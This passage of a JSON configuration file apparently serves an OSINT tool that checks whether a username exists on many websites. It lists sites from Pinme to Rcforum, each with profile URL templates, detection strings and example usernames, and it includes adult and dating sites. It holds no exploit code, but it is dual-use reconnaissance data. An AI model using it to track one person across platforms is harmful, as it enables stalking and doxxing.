"https://www.pinme.ru", + "url": "https://www.pinme.ru/u/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pinterest": { + "tags": [ + "art", + "photo", + "sharing" + ], + "checkType": "message", + "alexaRank": 152, + "presenseStrs": [ + " followers", + " following", + " \u043f\u043e\u0434\u043f\u0438\u0441\u0447\u0438\u043a\u043e\u0432", + " \u043f\u043e\u0434\u043f\u0438\u0441\u043e\u043a" + ], + "absenceStrs": [ + "@undefined" + ], + "urlMain": "https://www.pinterest.com/", + "url": "https://www.pinterest.com/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Piratebuhta": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "urlMain": "https://piratebuhta.club", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis777", + "alexaRank": 12039551, + "disabled": true + }, + "Pitomec": { + "tags": [ + "ru", + "ua" + ], + "checkType": "status_code", + "alexaRank": 1239053, + "urlMain": "https://www.pitomec.ru", + "url": "https://www.pitomec.ru/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "pixelfed.social": { + "tags": [ + "art", + "pixelfed" + ], + "checkType": "status_code", + "usernameClaimed": "pylapp", + "usernameUnclaimed": "noonewouldeverusethis42", + "urlMain": "https://pixelfed.social/", + "url": "https://pixelfed.social/{username}/" + }, + "PlanetMinecraft": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Hmm, it seems that you've come across an invalid username", + "404 Not Found", + "Member Not Found" + ], + "presenseStrs": [ + "profile on Planet Minecraft to see their public Minecraft community activity" + ], + "alexaRank": 9050, + "urlMain": "https://www.planetminecraft.com", + "url": "https://www.planetminecraft.com/member/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Planetaexcel": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041d\u0435 \u0443\u043a\u0430\u0437\u0430\u043d \u043a\u043e\u0434 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f." + ], + "alexaRank": 49133, + "urlMain": "https://www.planetaexcel.ru", + "url": "https://www.planetaexcel.ru/forum/index.php?PAGE_NAME=profile_view&UID={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Play.md": { + "tags": [ + "md" + ], + "checkType": "response_url", + "alexaRank": 2213221, + "urlMain": "https://play.md", + "url": "https://play.md/profile/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Player": { + "tags": [ + "forum", + "ru", + "shopping" + ], + "engine": "vBulletin", + "alexaRank": 572441, + "urlMain": "http://player.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Playlists": { + "disabled": true, + "tags": [ + "in", + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "Sorry we can't find that page" + ], + "alexaRank": 195103, + "urlMain": "https://playlists.net", + "url": "https://playlists.net/members/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PlaystationTrophies": { + "tags": [ + "forum", + "gaming" + ], + "checkType": "status_code", + "alexaRank": 49632, + "urlMain": "https://www.playstationtrophies.org", + "url": "https://www.playstationtrophies.org/forum/members/{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Pling": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 67862, + "urlMain": "https://www.pling.com/", + "url": "https://www.pling.com/u/{username}/", + "errorUrl": "https://www.pling.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Plug.DJ": { + "disabled": true, + "tags": [ + "music" + ], + "checkType": "status_code", + "alexaRank": 3799094, + "urlMain": "https://plug.dj/", + "url": "https://plug.dj/@/{username}", + "usernameClaimed": "plug-dj-rock", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pluralsight": { + "tags": [ + "in", + "us" + ], + "checkType": "message", + "errors": { + "Unfortunately, Pluralsight's products are not available in your area at this time": "Site censorship" + }, + "absenceStrs": [ + "Not available | Profile", + "renderErrorPage(404)" + ], + "alexaRank": 4350, + "urlMain": "https://app.pluralsight.com", + "url": "https://app.pluralsight.com/profile/author/{username}", + "usernameClaimed": "adam-crahen", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Plurk": { + "tags": [ + "tw" + ], + "checkType": "message", + "absenceStrs": [ + "User Not Found!" + ], + "alexaRank": 1614, + "urlMain": "https://www.plurk.com/", + "url": "https://www.plurk.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Poembook": { + "similarSearch": true, + "tags": [ + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u043f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e! :(" + ], + "alexaRank": 78906, + "urlMain": "https://poembook.ru", + "url": "https://poembook.ru/any?query={username}", + "usernameClaimed": "DIKANNA", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pogovorim": { + "tags": [ + "by", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 384128, + "urlMain": "https://pogovorim.by", + "url": "https://pogovorim.by/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "nikola", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pokecommunity": { + "disabled": true, + "tags": [ + "de", + "forum", + "gb", + "us" + ], + "engine": "vBulletin", + "alexaRank": 50851, + "urlMain": "https://www.pokecommunity.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pokemon Showdown": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 6863, + "urlMain": "https://pokemonshowdown.com", + "url": "https://pokemonshowdown.com/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PokerStrategy": { + "disabled": true, + "tags": [ + "ru" + ], + "errors": { + "PokerStrategy.org not available in": "Country restrictions" + }, + "checkType": "message", + "absenceStrs": [ + "Sorry, the requested page couldn't be found!" + ], + "alexaRank": 1821643, + "urlMain": "http://www.pokerstrategy.net", + "url": "http://www.pokerstrategy.net/user/{username}/profile/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pol.social": { + "checkType": "message", + "absenceStrs": [ + "The page you are looking for isn't here." + ], + "presenseStrs": [ + "@pol.social" + ], + "url": "https://pol.social/@{username}", + "usernameClaimed": "ducensor", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Polczat.pl": { + "checkType": "message", + "absenceStrs": [ + "Wybrany u\u017cytkownik nie istnieje." + ], + "presenseStrs": [ + "Historia wpis\u00f3w" + ], + "url": "https://polczat.pl/forum/profile/{username}/", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Policja2009": { + "checkType": "message", + "absenceStrs": [ + "Informacja" + ], + "presenseStrs": [ + ">Wiadomo" + ], + "url": "http://www.policja2009.fora.pl/search.php?search_author={username}", + "usernameClaimed": "janek", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Politforums": { + "tags": [ + "forum", + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "\u043f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430 \u0441\u0432\u044f\u0436\u0438\u0442\u0435\u0441\u044c \u0441 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u043c" + ], + "alexaRank": 207770, + "urlMain": "https://www.politforums.net/", + "url": "https://www.politforums.net/free/profile.php?showuser={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Politikforum": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 2125997, + "urlMain": "http://www.politikforum.ru/", + "usernameClaimed": "kostya", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Polleverywhere": { + "checkType": "message", + "absenceStrs": [ + "ResourceNotFound" + ], + "presenseStrs": [ + "name" + ], + "url": "https://pollev.com/proxy/api/users/{username}", + "usernameClaimed": "josh", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Polygon": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 1757, + "urlMain": "https://www.polygon.com/", + "url": "https://www.polygon.com/users/{username}", + "usernameClaimed": "swiftstickler", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Polymart": { + "checkType": "message", + "presenseStrs": [ + "Resources" + ], + "absenceStrs": [ + "Looks like we couldn't find this user. Sorry!" + ], + "url": "https://polymart.org/user/{username}", + "usernameClaimed": "craciu25yt", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pornhub": { + "tags": [ + "porn" + ], + "checkType": "message", + "presenseStrs": [ + "profileInformation" + ], + "absenceStrs": [ + "Error Page Not Found", + "cannot be found" + ], + "alexaRank": 74, + "urlMain": "https://pornhub.com/", + "url": "https://pornhub.com/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PornhubPornstars": { + "checkType": "message", + "absenceStrs": [ + "Error Page Not Found" + ], + "presenseStrs": [ + "Pornstar Rank" + ], + "url": "https://www.pornhub.com/pornstar/{username}", + "usernameClaimed": "riley-reid", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Portraitartistforum": { + "engine": "vBulletin", + "urlMain": "http://www.portraitartistforum.com", + "usernameClaimed": "Sam%20Savage", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 12143653 + }, + "Poshmark": { + "checkType": "message", + "absenceStrs": [ + "Page not found - Poshmark" + ], + "presenseStrs": [ + " is using Poshmark to sell items from their closet." + ], + "url": "https://poshmark.com/closet/{username}", + "usernameClaimed": "alice", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Postila": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 13320, + "urlMain": "https://postila.ru/", + "url": "https://postila.ru/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PalexaRankru": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "https://palexaRankru.net/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Pregame": { + "tags": [ + "in", + "us" + ], + "checkType": "response_url", + "alexaRank": 64033, + "urlMain": "https://pregame.com", + "url": "https://pregame.com/members/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Prizyvnik": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0417\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 438074, + "urlMain": "https://www.prizyvnik.info", + "url": "https://www.prizyvnik.info/members/?username={username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pro-cats": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 5414178, + "urlMain": "http://pro-cats.ru", + "usernameClaimed": "parrots", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Prodaman": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 103832, + "urlMain": "https://prodaman.ru", + "url": "https://prodaman.ru/{username}", + "usernameClaimed": "Natastraik", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ProductHunt": { + "tags": [ + "tech", + "us" + ], + "checkType": "message", + "presenseStrs": [ + ":{\"data\":{\"profile\":{\"__typename\"" + ], + "absenceStrs": [ + "We seem to have lost this page" + ], + "alexaRank": 10638, + "urlMain": "https://www.producthunt.com/", + "url": "https://www.producthunt.com/@{username}", + "usernameClaimed": "rajiv_ayyangar", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Professionali": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 41139, + "urlMain": "https://professionali.ru", + "url": "https://professionali.ru/~{username}", + "usernameClaimed": "mark", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ProfilesTigweb": { + "tags": [ + "ca", + "in", + "pk" + ], + "checkType": "status_code", + "alexaRank": 276522, + "urlMain": "https://profiles.tigweb.org", + "url": "https://profiles.tigweb.org/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Proglib": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 53386, + "urlMain": "https://proglib.io", + "url": "https://proglib.io/u/{username}/posts", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ProgrammersForum": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "https://www.programmersforum", + "usernameClaimed": "farts", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Prokoni": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 268598, + "urlMain": "https://www.prokoni.ru/", + "url": "https://www.prokoni.ru/forum/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PromoDJ": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 46993, + "urlMain": "http://promodj.com/", + "url": "http://promodj.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Proshkolu": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 29471, + "urlMain": "https://proshkolu.ru", + "url": "https://proshkolu.ru/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Prosvetlenie": { + "ignore403": true, + "tags": [ + "kg", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 2103040, + "urlMain": "http://www.prosvetlenie.org", + "url": "http://www.prosvetlenie.org/forum/members/?username={username}", + "usernameClaimed": "odin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Proza.ru": { + "tags": [ + "ru", + "writing" + ], + "checkType": "message", + "absenceStrs": [ + "\u0410\u0432\u0442\u043e\u0440 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 9550, + "urlMain": "https://www.proza.ru/", + "url": "https://www.proza.ru/avtor/{username}", + "usernameClaimed": "gpola", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Prv.pl": { + "checkType": "message", + "absenceStrs": [ + "U\u017cytkownik nie istnieje." + ], + "presenseStrs": [ + "LOGIN" + ], + "url": "https://www.prv.pl/osoba/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Psychologies.ru": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 20568, + "urlMain": "http://www.psychologies.ru", + "url": "http://www.psychologies.ru/personal/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Psyera": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 61415, + "urlMain": "https://psyera.ru", + "url": "https://psyera.ru/user/{username}", + "usernameClaimed": "eskariot", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Publiclab": { + "tags": [ + "in", + "science" + ], + "checkType": "response_url", + "alexaRank": 64988, + "urlMain": "https://publiclab.org", + "url": "https://publiclab.org/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PulmonaryHypertensionNews": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "presenseStrs": [ + "activity-personal-li" + ], + "alexaRank": 1616190, + "urlMain": "https://pulmonaryhypertensionnews.com", + "url": "https://pulmonaryhypertensionnews.com/forums/members/{username}/", + "usernameClaimed": "gwendolyn", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PushSquare": { + "tags": [ + "gaming", + "news", + "us" + ], + "checkType": "status_code", + "alexaRank": 21227, + "urlMain": "http://www.pushsquare.com", + "url": "http://www.pushsquare.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "PyPi": { + "tags": [ + "in", + "us" + ], + "errors": { + "Please enable JavaScript to proceed": "Scraping protection" + }, + "checkType": "status_code", + "alexaRank": 12591, + "urlMain": "https://pypi.org/", + "url": "https://pypi.org/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Pyha": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 3979608, + "urlMain": "https://pyha.ru/", + "url": "https://pyha.ru/users/{username}", + "usernameClaimed": "Sinkler", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "programming.dev": { + "tags": [ + "lemmy" + ], + "checkType": "message", + "absenceStrs": [ + "Error!" + ], + "url": "https://programming.dev/u/{username}", + "urlMain": "https://programming.dev", + "usernameClaimed": "pylapp", + "usernameUnclaimed": "noonewouldeverusethis42" + }, + "Qbn": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 386366, + "urlMain": "https://www.qbn.com/", + "url": "https://www.qbn.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Quake-champions": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "https://quake-champions.pro", + "url": "https://quake-champions.pro/community/profile/{username}/", + "usernameClaimed": "bruner", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 445225 + }, + "Quartertothree": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 317623, + "urlMain": "https://forum.quartertothree.com", + "usernameClaimed": "rei", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Queer": { + "tags": [ + "pl" + ], + "checkType": "status_code", + "alexaRank": 6934378, + "urlMain": "https://queer.pl", + "url": "https://queer.pl/user/{username}", + "usernameClaimed": "dhoyosm", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "QuestionableQuesting": { + "disabled": true, + "tags": [ + "forum", + "gb", + "jp", + "us" + ], + "engine": "XenForo", + "alexaRank": 55731, + "urlMain": "https://forum.questionablequesting.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Quibblo": { + "disabled": true, + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 117232, + "urlMain": "https://www.quibblo.com/", + "url": "https://www.quibblo.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Quitter.pl": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono" + ], + "presenseStrs": [ + "@quitter.pl" + ], + "url": "https://quitter.pl/profile/{username}", + "usernameClaimed": "divmod", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Quizlet": { + "checkType": "message", + "absenceStrs": [ + "Page Unavailable" + ], + "presenseStrs": [ + "| Quizlet" + ], + "url": "https://quizlet.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Quora": { + "tags": [ + "education" + ], + "checkType": "response_url", + "alexaRank": 347, + "urlMain": "https://www.quora.com/", + "url": "https://www.quora.com/profile/{username}", + "errorUrl": "https://www.quora.com/profile/{username}", + "usernameClaimed": "Matt-Riggsby", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Qwas": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 2983388, + "urlMain": "http://forum.qwas.ru", + "url": "http://forum.qwas.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "disman3", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RC-MIR": { + "tags": [ + "ru" + ], + "regexCheck": "^[a-zA-Z0-9-]+$", + "checkType": "message", + "presenseStrs": [ + "\u041f\u0440\u043e\u0444\u0438\u043b\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + ], + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435" + ], + "alexaRank": 1403768, + "urlMain": "http://rcmir.com/", + "url": "http://{username}.rcmir.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "RPGGeek": { + "ignore403": true, + "tags": [ + "gaming", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "User does not exist" + ], + "alexaRank": 229543, + "urlMain": "https://rpggeek.com", + "url": "https://rpggeek.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RPGRussia": { + "disabled": true, + "tags": [ + "forum", + "ru", + "us" + ], + "engine": "XenForo", + "alexaRank": 344379, + "urlMain": "https://rpgrussia.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RRForums": { + "tags": [ + "au", + "forum" + ], + "checkType": "message", + "absenceStrs": [ + "Profile Does Not Exist" + ], + "alexaRank": 2801221, + "urlMain": "http://au.rrforums.net/", + "url": "http://au.rrforums.net/cgi-bin/forum/board-profile.pl?action=view_profile&profile={username}-users", + "usernameClaimed": "guyslp", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RUDTP": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 154537, + "urlMain": "https://forum.rudtp.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Radio-uchebnik": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 409242, + "urlMain": "http://radio-uchebnik.ru", + "url": "http://radio-uchebnik.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "sasha", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Radiokot": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e.", + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 78504, + "urlMain": "https://www.radiokot.ru", + "url": "https://www.radiokot.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Radiomed": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 280960, + "urlMain": "https://radiomed.ru", + "url": "https://radiomed.ru/users/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Radioscanner": { + "tags": [ + "ru" + ], + "errors": { + "\u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0438\u0441\u043a\u0430\u0442\u044c \u043d\u0435 \u0447\u0430\u0449\u0435, \u0447\u0435\u043c \u0440\u0430\u0437 \u0432 10 \u0441\u0435\u043a\u0443\u043d\u0434": "Too many requests" + }, + "checkType": "message", + "absenceStrs": [ + "\u041d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e!" + ], + "alexaRank": 150570, + "urlMain": "http://www.radioscanner.ru", + "url": "http://www.radioscanner.ru/forum/index.php?posterName={username}&action=search&searchGo=1", + "usernameClaimed": "bob", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Raidforums": { + "disabled": true, + "checkType": "status_code", + "alexaRank": 20059, + "urlMain": "https://raidforums.com/", + "url": "https://raidforums.com/User-{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "cybercriminal", + "forum" + ] + }, + "Railfan": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The user whose profile you are trying to view does not exist!" + ], + "alexaRank": 2741861, + "urlMain": "http://forums.railfan.net", + "url": "http://forums.railfan.net/forums.cgi?action=viewprofile;username={username}", + "usernameClaimed": "gpicyk", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rajce.net": { + "tags": [ + "cz" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 1974, + "urlMain": "https://www.rajce.idnes.cz/", + "url": "https://{username}.rajce.idnes.cz/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RamblerDating": { + "disabled": true, + "tags": [ + "dating", + "ru" + ], + "checkType": "response_url", + "urlMain": "https://dating.rambler.ru/", + "url": "https://dating.rambler.ru/page/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 391 + }, + "Rammclan": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://www.rammclan.ru", + "usernameClaimed": "mathiassk", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ramta": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 3836863, + "urlMain": "http://ramta.0pk.ru", + "url": "http://ramta.0pk.ru/search.php?action=search&keywords=&author={username}", + "usernameClaimed": "zulus", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Rap-royalty": { + "urlSubpath": "/forum", + "disabled": true, + "tags": [ + "forum", + "music", + "us" + ], + "errors": { + "500 Error. Internal Server Error.": "Site error", + "Access Denied!": "Site error" + }, + "engine": "vBulletin", + "alexaRank": 7096327, + "urlMain": "http://www.rap-royalty.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rapforce": { + "tags": [ + "fr", + "ru" + ], + "engine": "uCoz", + "alexaRank": 118933, + "urlMain": "http://www.rapforce.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rappad": { + "tags": [ + "music" + ], + "checkType": "status_code", + "alexaRank": 66724, + "urlMain": "https://www.rappad.co", + "url": "https://www.rappad.co/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rasa": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "Discourse", + "alexaRank": 70980, + "urlMain": "https://forum.rasa.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rasslabyxa": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 7235127, + "urlMain": "http://www.rasslabyxa.ru", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rate Your Music": { + "tags": [ + "gb", + "us" + ], + "checkType": "status_code", + "alexaRank": 8696, + "urlMain": "https://rateyourmusic.com/", + "url": "https://rateyourmusic.com/~{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rcforum": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 195871, + "urlMain": "http://www.rcforum.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": 